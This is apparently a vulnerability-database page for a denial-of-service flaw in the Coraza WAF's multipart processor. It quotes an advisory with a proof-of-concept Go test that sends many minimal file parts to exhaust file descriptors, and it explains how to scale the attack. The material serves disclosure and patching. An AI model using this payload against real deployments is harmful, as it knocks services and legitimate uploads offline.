CVE-2026-107834
mediumpriority · track · 0EPSS 0.003 · 24 %ileUSEPSS · scored 2026-10-24
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the multipart loop in internal/bodyprocessors/multipart.go executes defer temp.Close() for every uploaded file part, so each temporary-file descriptor remains open until the complete request returns. An unauthenticated attacker can submit a multipart body containing many minimal file parts and exhaust the process file-descriptor table within the request-body size limit, causing os.CreateTemp failures, MULTIPART_STRICT_ERROR responses, blocked legitimate uploads, and process-wide inability to open files or sockets. This issue is fixed in version 3.8.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-rp9v-7xv3-r6g3Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor2026-10-08ghsa · osvUS
## Summary `defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition. ## Details `internal/bodyprocessors/multipart.go`, line 69: ```go for { p, err := mr.NextPart() // ... temp, err := os.CreateTemp(storagePath, "crzmp*") defer temp.Close() // wrong scope io.Copy(temp, p) } ``` Each iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously. The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table. Fix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it. ## PoC Tested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64. Add this file at `internal/bodyprocessors/poc_fd_test.go` and run: ```text go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/... ``` ```go package bodyprocessors_test import ( "fmt" "os" "strings" "sync" "sync/atomic" "testing" "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" ) func countFDs() int { e, _ := os.ReadDir("/proc/self/fd") return len(e) } func TestMultipartFDLeak(t *testing.T) { boundary := "testboundary" var sb strings.Builder for i := 0; i < 500; i++ { fmt.Fprintf(&sb, "--%s\r\n", boundary) fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i) sb.WriteString("\r\n") sb.WriteString("X\r\n") } fmt.Fprintf(&sb, "--%s--\r\n", boundary) mp, _ := bodyprocessors.GetBodyProcessor("multipart") baseline := countFDs() var peak int64 done := make(chan struct{}) var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() for { select { case <-done: return default: n := int64(countFDs()) for { cur := atomic.LoadInt64(&peak) if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) { break } } } } }() v := corazawaf.NewTransactionVariables() mp.ProcessRequest(strings.NewReader(sb.String()), v, plugintypes.BodyProcessorOptions{ Mime: "multipart/form-data; boundary=" + boundary, StoragePath: t.TempDir(), }) close(done) wg.Wait() t.Logf("baseline=%d peak=%d spike=+%d", baseline, atomic.LoadInt64(&peak), atomic.LoadInt64(&peak)-int64(baseline)) } ``` Output: ```text baseline=7 peak=506 spike=+499 ``` The spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline. ## Impact - **No authentication required.** Any endpoint that accepts multipart uploads is affected. - **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1. - **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either. - **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.
- GO-2026-6697Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor in github.com/corazawaf/coraza2026-10-19vendor · osvUS
Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor in github.com/corazawaf/coraza
also known as (2)
Other names and identifiers for this entity.
- GHSA-rp9v-7xv3-r6g3osv
- GO-2026-6697osv
sources
Which sources assert this record, and when.
references (3) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan